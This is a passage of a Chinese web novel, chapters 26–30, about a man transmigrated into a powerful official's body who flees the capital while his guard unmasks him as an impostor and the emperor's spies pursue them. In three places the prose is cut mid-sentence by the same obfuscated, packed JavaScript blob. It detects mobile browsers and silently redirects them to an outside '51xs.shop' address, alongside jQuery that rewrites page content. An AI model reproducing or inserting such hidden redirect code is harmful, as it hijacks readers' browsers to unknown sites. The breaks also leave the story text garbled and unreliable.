裴夏看了他一眼,小心翼翼道:“主子在试探属下吗?属下发过誓,绝对不提,主子放心,这件事属下一定烂在肚子里。” “啊?”宋闻璟吃完最后一口,看着裴夏如此坚定的眼神,心里一阵发毛,“没那么严重,我就是随口一问,你简单说说就行。” 裴夏愣了愣,随后又问道:“这,属下……这件事主子应该最清楚。” 宋闻璟不解:“什么意思?” 裴夏低下头,小声嘀咕道:“主子的事当然主子最清楚。” “这又什么意思?”宋闻璟心中莫名有一阵不好的感觉,“我的事,我……” 裴夏接过宋闻璟手里的碗,一边偷偷往后退一边道:“因为主子以前就是安乐郡主啊,后来改了名换了身份,就成了主子的现在。” 宋闻璟不解:“我是?可安乐郡主不是个女子吗?” “对啊。”裴夏道,“主子以前一直都被当作女子养的。” 一恍惚,宋闻璟好像知道了一件天大的事,这么一说,沈翊说的好像都变得合理起来,可沈翊对安乐郡主这么耿耿于怀,要是被发现,这可比原本的死局更胜一筹了。 裴夏看着宋闻璟出了神,还没等走向前叫醒他,宋闻璟便迅速利落地下了床,穿衣穿鞋更是一气呵成,丝毫看不出病怏怏的样子。 裴夏在一旁看愣了,反被宋闻璟拉着出了门。 宋闻璟满脸着急道:“快走,快走,快回府。” 26.第 26 章 等两人回到府后,宋闻璟便窝在房间里很少出门,而裴夏却还是一直处于一种脑子是懵的,身体却还是顺从地做着平日里的动作,虽然也跟平日里相差无几,但让人一看还是多了一丝心不在焉的意味。 香凌在远处瞧见了他,也忍不住走上前担忧问道:“怎么了?这么心神不宁的?” 闻声,裴夏手里的动作一顿,扭头看了香凌一眼,随后又莫名地叹了口气,到嘴边的话也在看见香凌的瞬间又咽了下去。 “没什么。” “没什么?”香凌起疑道,“没什么你怎么还一副丢了魂的样子?” “就是……”裴夏一时不知道如何开口,一肚子的话到嘴边却又乱成一团,张了几次嘴后,裴夏最后还是破罐子破摔,又说了一遍:“没什么。” “没什么?”香凌带着异样的眼神看向他,随后在裴夏毫无察觉时,香凌用力拍了一下他的胳膊,突然拔高声调道:“你要没什么说的,那就不要只打扫这一小点地方了,那边还有一片地方等着你去扫呢。” “真的是,我看你就是想偷懒!” 香凌双手掐腰,一脸严肃地审视着裴夏。 “我……怎么会!”裴夏一边握紧扫把帚往地上一拍,一边不服气地反驳,“我就感觉,有点感觉……” “感觉什么?”香凌不解。 裴夏偷偷打量了下四周发现无人后,慢慢贴近香凌低声道:“就是,我感觉主子好像变了个人,像失忆了一样,不仅性格变了,居然也把以前的事也都忘了,你有没有感觉到?” “啊?”香凌疑惑地看着他,“主子失忆了?” 裴夏道:“不是,你没感觉到吗?自从落水后,主子便变得不一样了,要是按从前来看,主子怎么能轻易放过这些人,可现在主子不但从来没提过,而且这日子越过越脱离主子原本的计划,你说主子都做到这里了,怎么能说放手就放手,难不成就为了给小皇帝铺路?” 香凌点点头,“按理来说,确实不错,可万一就是主子不愿意继续做下去了呢?主子情绪的变化莫测,想法和计划也随时可能发生改变,我想主子自有他自己的动作,我们做好自己的事就好了,你说呢?” “这……”裴夏抓了抓后脑勺的发丝,却还是不解地低声嘀咕道:“可这也不应该啊,难不成是我太敏感了?” “哎呀。”香凌摇摇头,催促道:“别纠结了,主子都快一上午没出来了,你要是真想不明白,就进去问问,正好看看主子起来没有,马上准备吃饭了。” “我……”裴夏默了两秒,随后点点头,将手里的扫把放到一边的台阶旁,便接着去敲响了宋闻璟的房门。 在敲了两下房门后,屋内传来宋闻璟沉闷微弱的声音:“进来。” 裴夏收到指令后,刚刚推门走进去,抬眼便看见宋闻璟身旁收拾的满地的大包小包。 裴夏不解:“主子,你在干什么?” “我?”宋闻璟停下手里的动作,直起身轻轻咳了几声后,露出满脸笑意道:“我就是感觉在府里的日子实在太闷了,听说高颉被小皇帝派出去治洪去了,所以我也想出京看看。” 裴夏问:“主子是想去找高大人?” “不……”宋闻璟默了默,又点头道:“对啊,反正在府里也是清闲,不如得了空也跟着多出去看看。” 裴夏犹豫道:“可……下个月便是……” 宋闻璟看着裴夏犹豫不决的样子,立马打断引导道:“没事的,这边我已经收拾好了,现在就可以走的。” 裴夏问:“主子很着急吗?香凌说可以准备吃饭了,咱们也可以吃了饭以后再走,而且高大人去的地方离京城确实也不近。” “好。”宋闻璟点点头,“那吃完饭后再说吧。” 裴夏看着他顿了几秒,虽然不知道眼前的主子到底想干什么,但自身的直觉和主子这些天的异常总感觉主子一定有事瞒着自己。裴夏回过神,静静道:“好。” 而这顿饭没吃多久,宋闻璟便又回屋继续收拾去了,等到了下午,宋闻璟把行李收拾好了,下人们也一起收拾着一起放在马车上,到了临走之际,宋闻璟心中前所未有安心的快感,好似只要逃离了这里,就是逃离了剧情,他与小皇帝也自然是好聚好散,再无瓜葛。 宋闻璟没想太多别的,只是规划起以后的未来,他带出府的东西不论是盘缠干粮还是生活所用的必需品,也足够支持他在某一个即使生活恶劣的山洞或破庙中活下来,可那后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13189080|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来呢?自己便开始隐姓埋名的生活,重新过上寻常老百姓的生活,开始打工种地养活自己。 可万一……小皇帝还不愿意放过他,一切又按照剧情继续发展,自己又该怎么办? 宋闻璟皱起眉,心里泛起嘀咕:“到底怎样才可以回到现代,难不成还真要七星连珠,那今晚再睡一觉,会不会明天一睁眼就回去了?” “主子。” 裴夏的声音从马车外传来,将宋闻璟思绪拉回,宋闻璟掀开帷幕,看着裴夏一张冷峻严肃的脸庞,不禁笑道:“还有什么事?” 裴夏问:“主子真要独自前往?不如带上属下吧,路途遥远,危机四伏,带上属下也是多一份保障。” “这……”宋闻璟笑笑,这怎么行,他本就没打算去找高颉,本想着出了京城便跑了,再带上这一个人,确实不太好办,而且如果被发现不是正主,谁知道书中这么护主的一个人,能做出什么事来。 “主子……” 宋闻璟道:“不用担心,我很快就回来的,府里还得靠你主持呢。” 随后,宋闻璟放下帷幕将裴夏的脸彻底从目光中遮住。 “走吧。” 马车不急不慢地走在宽阔的街道上,耳边车轮“咕噜咕噜”的声音让宋闻璟莫名舒心起来,甚至还想能直接传送到城外。 守门的士兵看到宋闻璟的马车也没有出手阻拦,宋闻璟只感觉这比想象的出城真是太简单平静了,马车出了城不知行了多久,宋闻璟便开口道:“不用继续往前走了,你现在掉头一直往北走,不要停。” 话音刚落,马车便停在原地不动了。 宋闻璟问:“怎么不走了?” 马车外,男人低沉的嗓音从外面传来:“大人,您不去找高大人了吗?您说的可是和高大人的方向是相反的?” 宋闻璟道:“对,你按我说的走就行了。” 外面彻底没了声响,宋闻璟心里一沉,脑中想了一圈的坏结果,却在颤抖拉开帷幕时,又重重喘了一大口气。 宋闻璟装作镇静地看着眼前装扮成车夫的裴夏,笑问道:“你什么时候跟上来的?” 裴夏却反问他:“那主子为什么要瞒着属下,主子现在到底想干什么?” 27.第 27 章 “我?”宋闻璟被这么一反问,脑子一时没反应过来,骤然一片空白。 裴夏坐在原地没动,也没再说话,可注视着宋闻璟的目光却如此凶狠凌厉,就如同一头饿狼紧盯着自己辛苦寻觅得来的食物。此刻,宋闻璟也被道目光看穿心虚的厉害,慌乱的眼神也在这一道强势的目光中不自觉地回避起来。 “主子,其实属下早就发觉你变了,而且变得很不一样,直到现在,主子也没说出为什么,到底是什么原因让主子变了心思,让从前我们所做的一切到现在都付之东流,主子可以瞒下所有人,可属下跟了主子这么多年,主子的一举一动属下本应该是最清楚的,可现在我们两人之间主仆离心,属下猜不透主子,主子也不曾道出原因,而在从前主子从不会瞒着属下。” 裴夏慢悠悠起身一步步朝他逼近,密闭狭小的空间里宋闻璟不过只是偷偷往后挪了几步,撑在身旁的手便在不经意间触碰到了冰凉的后壁。 “所以呢?”宋闻璟收回手,强作镇静地正经地坐起来,“我的事什么时候也要向你这个下人禀报了?” “你可别忘了,我才是主子,有些事我也没必要告诉你。” “确实。”裴夏闻言低下头淡然一笑,说起来也是,这么久亲近的相处,差点让他忘了从前宋闻璟培养他到底是什么目的。 他是这里最好用,最称手的一把剑,宋闻璟培养他,把他变的越来越锋利,不知多少人在他这把剑下丧命,可现在裴夏才发觉自己活的越来越像个笑话,自己不顾死活地给宋闻璟卖命,可到头来还是被当成那条呼之即来,挥之即去,让人不堪入眼的一条丧门之犬。 可裴夏并没有很难过,毕竟他来到宋闻璟身边时,宋闻璟本就早已野心显露,如果自己没有利用价值,宋闻璟绝不可能会多看他一眼,而自己也不会从那个从每天死三四个人的地宫里走出来。 其实裴夏心中并不恨宋闻璟,相反更多的是忠诚,即使某一天,宋闻璟将他的价值消耗殆尽,裴夏也会甘愿为宋闻璟献出最后的一份力保全他,可现在一切都变了,他摸不清主子心中到底在想什么,就连眼前的主子是真是假都分不清了。 主子怎么会把从前的事忘的一干二净,不但脾气大变,就连做事也与从前大相径庭。 裴夏凑到宋闻璟跟前,跪坐在地上平静地与他对视,宋闻璟闭了闭眼似有些不解,刚刚那股莫名的敌意怎么消失了? “你想做什么?” 宋闻璟默了默,又问道:“所以你想来问我什么?” 裴夏轻笑道:“属下并没有做什么,主子为何反倒如此紧张?” 宋闻璟没回答,但他心里明白跟在奸臣身旁的人哪有那么多好人,即使看着是好人,说不定也是个披着好人皮的狼。 反倒裴夏一副心平气和地问:“主子,你可还记得属下的名字,主子是怎么取的吗?” 宋闻璟愣了下,随后随口心虚敷衍道:“这都过去多久了,这些琐事早就忘了。” 裴夏轻摇头,似略过他的话,继续道:“其实属下以前没有名字,有的只是一个无用的代号,后来主子选了属下把带属下回了府,并给属下改名叫裴夏,那时候正值夏季,属下便以为不过是主子随意取的,更有甚后面还会有裴秋,裴冬。” “可后来,主子却告诉属下,这一切原本都是已经定好的,不论是名字还是人,主子早就有了打算,属下之所以能被主子选上,除了身法之外,更是因为属下的背景干净,而这个夏字,则是代表着夏天中气势磅礴的暴雨能冲刷掉一切的痕迹的意思。” “那主子可还记得曾经对属下说过什么?” 话音刚落,裴夏猛然动身靠近他,狭长眼眶中一双漆黑的眸子,也在此刻散发着阴柔的光芒,而坐在原地毫无防备的宋闻璟也因突然裴夏的动作跟着微微颤了颤的身子。 “说过什么?”宋闻璟不解,整个人也显得有些底气不足。 “既然你不知道,又何必继续问呢?”裴夏含笑,脸上却带着不怀好意的神情,眼神幽幽地看着他道:“其实很奇怪,天下从来没有长的一模一样的人,即使他们的外表相同,可脾气性格,身上总是有不同之处,你说对吗?” “什么意思?” “什么意思?”裴夏挑了挑眉,抬手顺着宋闻璟的胳膊缓缓向上移去,最终落在宋闻璟单薄的肩膀上,重重拍了下去,“话都到这里了,你还想继续演下去吗?” 闻言,宋闻璟一愣,随即呆滞几秒后,抬手轻笑着不经意地拍掉裴夏的手,声音温和道:“演什么?” “你不信我是你主子?” “是像。”裴夏接着他的话继续道,“虽然我不知道你为何跟主子如此相像,竟连手腕上的痣都一模一样,可你跟主子的眼神总是不一样的。” “主子眼里从来没有悲天悯人的柔和,也没有如你这般闲情逸致,明明早已操控的一切,就这么轻易地拱手让人,这就是主子绝不可能做出的事。” “所以,你现在可以告诉我你是谁?为何要来冒充主子?” “冒充?”宋闻璟听着有点好笑,如果可以,他宁愿是冒充,说不定自己还可以拍拍屁股走人,可现在一口大锅扣在他身上,压的他举步维艰。 宋闻璟也不想继续躲避了,便直言问:“那你觉得我冒充的像吗?如果不像我可以现在就走。” 裴夏不解,看着宋闻璟一脸轻松的神情,一时愣住了,“你不是 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裴夏听着马车外脚步渐渐消失,心中骤然警惕起来,身体也下意识地将宋闻璟圈在怀里,静默了两秒,裴夏不知在腰间掏出个什么小东西,抬手隔着马车上的帷幕,稳准狠地打在马屁股上。 马儿吃痛叫了一声,便开始发了疯地往前跑。 林间道路坑坑洼洼,车轮在滚过一个又一个石块后,裴夏便趁着帷幕掀起的间隙中,看到林中几个黑影一闪而过,一直跟着马车穷追不舍。 宋闻璟担忧地从他怀里探出头,问:“有人?” 裴夏道:“很多。” “你可准备好了?” “什么?” 没等宋闻璟反应过来,裴夏便拦住他的腰直直飞了出去,两人落在一堆新雪上,随着马蹄声的渐渐消失,宋闻璟摸了摸身上仅存的几分钱和几份干粮,不禁惋惜浪费这么多好东西。 而两人还未走多远,熟悉的窸窣声又开始慢慢逼近,而这次却只闻其声,不过几秒,便又再次重归宁静。 随着两人的紧赶慢赶,天边降下夜幕,两人也在遇见的一家小小的客栈里落脚。 而裴夏自从得知宋闻璟承认自己不是自己原本的主子后,明显地与宋闻璟产生了一些陌生的隔阂,可宋闻璟却不这么觉得,似乎告诉了别人自己心中藏起秘密,浑身也觉得放松了不少。 半夜,漆黑的天空,一轮明月静静挂起,毫无睡意的裴夏站在挂着两盏红灯笼的客栈门口,看着客栈前空无一人的街道,心中骤然升起一股莫名的寒意,而身后,一双含着笑意的眼睛,正在目不转睛地看着他。 28.第 28 章 “选他,还是选朕?” “朕给你一个选择的机会。” 沈翊看着眼前跪在地上的人,嘴角微微扬起,全然不屑道: “江一,其实朕从来没有怀疑过你,可你却背着朕给那人通风报信,还打算把朕一辈子蒙在鼓里不成?” 沈翊瞟了他一眼,江一低头跪在原地,犹如一座历经沧桑的石雕不会动,也不会张口说话。 两人之间也在僵持两秒钟后,沈翊突然笑了一声,随后一脚用力踹在江一的心口上,江一身形微晃,却还是低头不敢看他。 “陛下,是属下错了,但属下只是不想……” “过去这么多年,朕以为你忠心耿耿,没想到你忽悠了朕这么久。”沈翊愤恨道,“朕也曾警告你,让你断了你心里这份念想,可你如今却依旧一意孤行,朕不会饶了你,更也不会放过裴夏。” “陛下,这都是属下的错,跟裴夏没关系。”江一连忙解释道,“是属下对不起裴夏,从前属下家乡发了难,家里没钱吃饭,阿爹看着裴夏年纪小,模样也长的清秀,在家里帮不上忙,便偷偷把他卖给了镇里人贩子手中换取银两,那时候裴夏才九岁,属下一直想着攒钱把裴夏给赎回来,可后来裴夏不见了,小镇也在一场洪水之后变得破败不堪,一时间所有都变了。” “可自打陛下让属下在暗中监视宋大人后,属下才慢慢发现宋大人身边的裴夏,与属下失散多年的亲弟弟很相似。” “所以,陛下,这一切的变故都是一场意外,或许裴夏并不是自愿的呢?” “所以呢?”沈翊笑笑,“你觉得你现在所说的,朕还会相信你吗,你私自将其两人放出城,现在倒说自己是无辜的?” 江一颔首一默,随后抬起头坚定道:“陛下,属下所言确凿,若陛下不信,属下便把裴夏给您带回来试问。” “试问?”沈翊顿了一下,抬眼看着江一一副坚决的模样,脑中不知在想什么,片刻后,沈翊浅浅一笑,“若是如此,朕也不是无理取闹的人,朕自然可以放过你们兄弟俩。” 得到回复,江一心里一松,后脚便急忙出城追赶两人。 但沈翊实际却没这么轻易放过他,在江一走后,柳溪又走了进来,沈翊看着他没多说什么,柳溪却忍不住问他:“为何不当场给他个痛快?还要给他个盼头,你就不怕他出了这座城,又变了心,把你偷养势力的事抖搂出去。” “他不会。”沈翊摇摇头,“既然他想保住裴夏,就不会冒险跟朕作对,毕竟他跟在朕身边这么久,朕心里想的,江一也不可能想不到。” 柳溪问:“那你真要看着他把裴夏带回来吗?可是这江一已经生了二心,你就不怕他半路跑了?” “跑?”沈翊道,“朕倒是希望他真的逃走。” 柳溪不解:“什么意思?” 沈翊不急不慢道:“江一身份特殊,自先帝开始便秘密培养起这一部门,凡是有二心者或潜逃者下场便就只有这死路一条,朕自然也不会让这种人活在世上。” 柳溪问:“所以呢?你还是要杀他?” 沈翊笑笑:“朕没说过,朕只想让他发挥他最后的价值。” 柳溪道:“或许时候还没到,要不然以陛下的速度,现在江一可能连城出不去了。” …… 当晚,宋闻璟赶了一天的路早已精疲力尽,躺在床上一闭眼便睡了过去。 客栈并不大,落住的寥寥无人,裴夏在外面站了一会儿又走了进去,两人的房间相邻,裴夏回到房间时,宋闻璟房间已经熄了灯,全然看不到一点火光。 可今天宋闻璟对他说的一些莫名其妙的话,裴夏心里更是乱糟糟的,终是在床上翻了几个身后,裴夏没按住性子,又偷偷溜进宋闻璟房里,想着能不能找到一些蛛丝马迹。 客栈不比王府,虽然屋里火盆里烧着的木炭,但周围的温度却始终上不去,裴夏半夜摸黑静悄悄溜进房间,火盆里的木炭也即将燃烧殆尽,微弱的火光在黑暗的房间里忽明忽暗。 裴夏静静地走向木床的位置,抬手轻轻掀起垂下的床幔,便看见宋闻璟抱着自己的一小份包裹,在被子里缩成一小团。 裴夏伸手去拿,却没想到宋闻璟抱得很紧,可越是这般重视,裴夏心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437530|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便觉得越是可疑。 小心试探了几次,宋闻璟似是有所察觉,眼皮不情不愿地微微抖动了几下,才缓缓睁开眼,脑袋迷糊看着裴夏道:“怎么了?我们要走了吗?” 裴夏道:“还没有。” 听到答复,宋闻璟重新闭上眼,轻声“嗯”了一下,又翻了个身继续睡过去了。 裴夏也趁机伸手偷拿过来,却不想在出房门的那一刻,迎面撞上一个衣着华贵戴着帷帽的男子,两人互看一眼后,男子微微点头,转而继续往前走,最后推开门进了房间,消失在裴夏眼前。 裴夏并没有放在心上,反倒更关注自己手里的包裹,可翻了又翻,确实除了盘缠和衣物,也没了旁物,可如果真是易容的,这身上总得带有几样工具吧。 裴夏重新整理了东西,便想着明天一早再还回去,不知睡了几个时辰,客栈外陆陆续续响起吵闹的声音,从窗外看去,一些小贩们又开始做起生意来。 裴夏拿着包裹去叫宋闻璟起床,推开门,宋闻璟还没醒,裴夏将包裹重新归于原位,后而轻声叫了宋闻璟两声。 宋闻璟听到声音,意识渐渐回笼,睁开眼迷糊地看了看裴夏又扭头向周围看去。 天亮了。 裴夏道:“主子,我们现在要回京吗?” “回京?”宋闻璟一时没反应过来,脑子昏昏的还有点迷糊,直到裴夏又给他复述了一次昨天的状况,宋闻璟才反应过来,摇了摇头,道:“不回去,不回去,咱们去找高颉。” 最起码这边还有个依靠,自己现在好不容易逃了出去,怎么又能这么轻易回去。 裴夏犹豫:“可外面现在很危险。” 宋闻璟摇摇头,明明里面也很危险,“那我们快点走,现在就走!” 裴夏皱了皱眉:“主子,您是找高大人有什么急事吗?” 宋闻璟笑笑,半晌又道:“听说这次天灾造成了很大的破坏,高大人接下这任务,必定受万人关注,我也想去看一下高大人到底如何做的。” “这……”裴夏道,“好吧,若主子真的想去,那我们便抓紧时间启程吧。” 29.第 29 章 吃过饭,裴夏不知道又从那里搞来一辆马车,虽然模样简陋了一点,但也不影响外出出行。 随后两人又沿着小路踏上了行程,具体高颉去的地方其实两人也不太清楚,只知道去了一个小村里,但被天灾破坏的地方可不止一个小村,更何况已经过去了这么久,两人也确实不知道高颉的去处。 而宋闻璟本意并没打算找高颉,只想着找个时机或者理由,直接跑路或者拖着不回去,让剧情直接从这里断开。 一路上,裴夏从来不找他主动搭话,只是时不时地抬头看他一眼,宋闻璟也此趁机和裴夏搭上一两句话,虽然裴夏不像从前和他一般亲近了,可宋闻璟还是能看出来,裴夏并没打算抛弃他。 毕竟,这么多年,宋闻璟手下掌握的势力不少,得罪的人更是不在少数,有人真心信服他,可也有人攀炎附势,忍辱负重只为了活下去,在他手里拼命地伪装自己,若这么说出去,一个手握重权的权臣就这么一夜之间被掉了包,信的,不信的,人心难测只怕会再次掀起一阵动乱。 “裴夏。”宋闻璟叫了他一声,问道:“我不是你主子了,那你以后还会跟着我走吗?” 裴夏闻言抬头看了宋闻璟一眼,随后又低下头默了默,低声道:“或许不会。” 听到回答,宋闻璟眼角一弯,对着裴夏笑了笑,尽管这是意料之中的回答,却还是有种莫名的酸涩在心尖上久积不散,长时间的相处,宋闻璟好似开始适应这个身份,适应了这周围的一切新事物,有了真实的存在感,差点让他忘了其实他根本不属于这个时代,不属于任何人。 继而,他又问裴夏:“那你会告诉别人我的秘密吗?” “不会。”裴夏摇摇头,目光却如此坚定地看着他道:“在属下没查清之前,主子所说的秘密,属下不会对任何人透露,现在你还是属下的主子,这宋府的主人,没人敢怀疑你,也不会有人会怀疑你。” “为什么?”宋闻璟不解,“可我确实不是他,我做不到和他一模一样,也不想继续帮他继续做下去,我知道这最后的结局,我不想踏上他的路……” “不行!”裴夏突然打断道,“既然你现在用了主子的身份,那必须按照主子的行为处事来,而且我也不可能因为你破坏主子这么多年的心血。” “你这是什么意思?”宋闻璟心一惊,表面却依旧镇静地质问道。 裴夏道:“没什么意思,不过,从前我信你,你所舍弃的东西我都会替主子拿回来。” 宋闻璟摇摇头,“我们不会赢的,最后的结局都是早已注定好的,再继续下去,我们都只有死路一条,不如趁早放手。” “死路?”裴夏蓦地笑了,“干与不干,最后的结局都是死路一条,这又用什么区别,我知道你这次出行并不是为了高大人,可你也别想就这么一走了之,我不会让你就这么走的。” “我不管你是谁,只要你一日用了主子的身份,我便一日不会放过你。” “这也不是你想走就能走掉的,而且就算你走了,天涯海角,你势单力薄,谁又能轻易放过你?” “别以为他们都在你面前服服帖帖的,可一旦离了棍棒,就是一条刚满一岁的恶犬也能把你咬的血肉淋漓,或许你也知道在这里的人从来都没有吃素的。” “你明白了吗?” 宋闻璟看着他的眼神渐渐暗了下去,沉默许久,宋闻璟又重新开口:“我知道,可我早就知道结局,为什么我还要选择去重蹈覆辙,我是不会继续留在这里。” “我不管你想如何,但我还是想奉劝你一句,早些放手。” “你知道结局?”裴夏哼笑道:“那结局是什么?不过生死两个字。” 宋闻璟道:“如果你不怕死,那也请你不要带上我,虽然我是用着你主子的身子,但我是我,我不是你主子,我不会陪着你一块去找死。” 说罢,宋闻璟站起身,从裴夏走过叫停了马车,刚准备出去,胳膊便被一股力猛然拉了回去,宋闻璟顺应扭头瞧了瞧裴夏攥在自己胳膊上的手,又看向裴夏道:“你还要做什么?” 裴夏顿了下,又抬头与他对视,质问道:“你去哪,这外面可不早了。” 宋闻璟撩起帘子,朝外看了看已经暗下来的天空,似乎确实没感觉到时间竟过的这么快,天边没了太阳的痕迹,眼前的整个世界也显得有些阴森森,可比起待在裴夏身边的不自在,外面总能让自己透口气。 “怎么了?”宋闻璟看着他,似开玩笑道:“你怕我跑了?我行李还在车上呢,我肯定回来。” 闻言,裴夏扭头看了一眼被宋闻璟扔在角落里褶皱的行李,默了两秒想了片刻,才慢慢松开了手。 宋闻璟看着他,不由得叹了口气,又说道:“我就在这附近,不会走远的,待一会儿我们就走。” “嗯,好。”裴夏点点头,随之嘴角扬起一个浅浅的弧度,“我相信你不会跑。” 宋闻璟看着他愣了下,随后下了马车,寒风一吹,心中更是凉了透彻,怎么会有这么想不开的人,自己死就死吧,还要拉一个垫背的。 坐在外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473347|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脸和蔼可亲上了年纪的车夫笑看着他,也不禁提醒道:“贵人,别走太远了,这地确实不安全,不如等去了前面,小人知道哪有落脚的地方,等去了贵人不如再去转转。” 宋闻璟抬头望了望远处黑蒙蒙的景象,不由问道:“我们现在是在哪?” 车夫嘿嘿一笑,道:“贵人,我们马上就到前面的清云镇了,这里是片小树林,现在天冷了,树林里没什么吃的,这林里听村里人说,这里面有好几只狼已经吃了好几个人了。” “真的?”宋闻璟问,“你不害怕吗?怎么还愿意给我们驾车?” 车夫不在意地扯了扯袖子,“小人也只是听说过,来回跑了好几趟也没看见一只,这不是都没人愿意来走,小人也趁着多赚些银子,好补贴家用。” 宋闻璟没再多问什么,在外面吹了吹冷风又回到马车上,不过一会儿,三人到了清云镇,镇上的村民很少,就连三人歇息的地方也只是一个平平无奇的小草屋。 虽然能挡风,但里面却跟简陋不堪,像荒废了很久的一间屋子,宋闻璟问车夫:“这里果真是个镇子?为什么人都这么少,还有这屋子,看样子已经很久没人住过了。” 车夫叹了口气,道:“这镇子上的人都跑得差不多了,而这荒废的屋子也有很多,我经常拉客有时就会在这睡一觉。” “为什么都跑了?”两人不解。 车夫道:“有人因为赚不到钱,又因为天灾连累,不得不另寻去处,还有朝廷要抓苦力去重新修建府邸,更何况是人都想图个安稳,能走的都走了,所以就留下了很多空房。” 两人点点头,车夫慢悠悠地躺在干草堆上,又顺势翻了个身,嘱咐道:“快点睡吧,明早我就得回去了。” “回去?”宋闻璟不解。 车夫道:“对啊,这小兄弟只付了一个路程的钱,你们两个不是一起的吗?他没告诉你吗?” 宋闻璟轻轻咳了两声,又扭头看了裴夏一眼,裴夏翻过身背对他道:“我没有钱,没人愿意走,就他愿意载我们一路,就是费用有点贵。” 话音落,空气莫名静默了几秒,宋闻璟也没说什么,只是平静回复道:“没事,应该离得不远了,我们也能走过去。” 裴夏轻声“嗯”了一声。 半夜,月光透过窗纸照进来,原本炽热温暖的火焰也在一阵阵“啪啦”的声音中火光渐渐暗淡下去,周围变得安静孤寂,直到火光彻底消失,一阵寒风从门口吹来。 而在门被打开之际,裴夏看见了一张无比熟悉的面孔。 30.第 30 章 “好久不见。” “你是?” 裴夏瞳孔一震,看着眼前几分熟悉的面孔,心中像被什么东西塞得满满的,竟连呼吸都跟着慢了下来。 来的人却没有回话,垂在身侧藏在袖口里的手微微一动,将手里的纸团飞快的扔了出去,随之转身离开了。 裴夏在刚接到纸团时,身体下意识地想要去追上他。屋外,随着晚上温度的不断降低,冷风吹在脸上,如同一根根冰凉的银针密密麻麻地扎在脸上,随着脸上不断放大的刺痛感,两人的注意力却丝毫没有转移。 屋里,宋闻璟也在一阵阵寒风中渐渐清醒过来,他站起身又紧了紧身上唯一一件厚实珍贵的披风,看着被风吹的“吱嘎”响的房门,宋闻璟走过去,刚想关上门,便听见身后车夫提醒道:“你那个同伴出去了,记得别锁门,一会儿他该进不来了。” “什么?”宋闻璟回头看了看自己旁边的位置,干草堆上已经没了人影,“他什么时候出去了?” 车夫闭着眼,慢悠悠回道:“刚不久吧,具体我也不清楚,我听见开门声我就醒了。” “我在外面睡多了,一点风吹草动,我也能摸清个两分,但你也不用担心,你那朋友有本事,应该过不了多久就回来了。” 宋闻璟朝门外望了望,又把门关上坐了回去,旁边车夫沉重的呼吸声又响了起来。 宋闻璟蜷坐在地上,又抬手摸了摸旁边早已没有余温的干草堆,心想,裴夏应该很早就出去了,可具体是干什么,宋闻璟不禁在心里胡思乱想起来。 忽然,一个想法在脑中冒出,他为什么不可以在这段时间里收拾东西走呢? 仔细想了想,宋闻璟刚想伸手朝自己的行李摸去,门却被用力推开。 “啪—” 一阵巨大的响声在耳边响起,门外银白皎洁的月光争先恐后地涌进来,霎时间,光亮盖宋闻璟身上,整个房间也跟着明亮起来,宋闻璟抬头,以为裴夏回来了,却不曾想,来了一群不速之客。 —— “你居然没死?现在还过的这么好,这倒是看来那场雨还是下小了。” “多亏托了你的福。” 裴夏上下打量着他,漫不经心道:“我可没福给你拖,反倒你自己福气不小,现在靠上有钱人,怎么又想起找我了?我可没什么能给你的。” “不是。”江一解释道,“以前不管有什么误会,可我现在必须要带走你。” “凭什么?”裴夏看着他,轻笑道,“我算个什么,凭什么我就能被拿来丢弃,上一次你也是这般对我好心。” 江一道:“我知道,可上一次我没有骗你,是阿爹,他骗了你,现在如今,你不能再帮宋闻璟做事了,你做的,我都知道,可……” “为何?”裴夏质问道,“你早就知道,却一直不说,又不与我相认,现在又出来说这般话,所以呢?我凭什么要听你的。” 江一道:“因为我不想看着你去送死,就像上一次……” “我不需要。” 裴夏打断他道:“其实我们早就没关系了,以后也不会再有关系。” “别再闹脾气,我是认真的。”江一有些着急,连话音也跟着颤起来。 裴夏不说话,也不想再回答他,随之转身消失在周围的黑暗之中。 —— “你们这是要干什么?” 宋闻璟站起身,看着从门口走进来的几个蒙着面的黑衣人不禁往后退了两步,虽然心慌的不行,却还是强迫自己冷静下来。 黑衣人不说话,依旧一副警惕地神情看着他。 房间里突然安静的可怕,车夫也被这一场面下了一跳,随后不断抓起旁边的干草往自己身上遮,好想让自己快点消失在这里。 宋闻璟看着黑衣人迟迟没下手,心里突然多了几分胆量,抓着自己的行李往自己身上一背,轻咳两声,突然开口道:“想必各位也是忙着赶路的,正好我们也都歇息好了,就当没看见过各位,各位也能不能让出一条路给我们?” 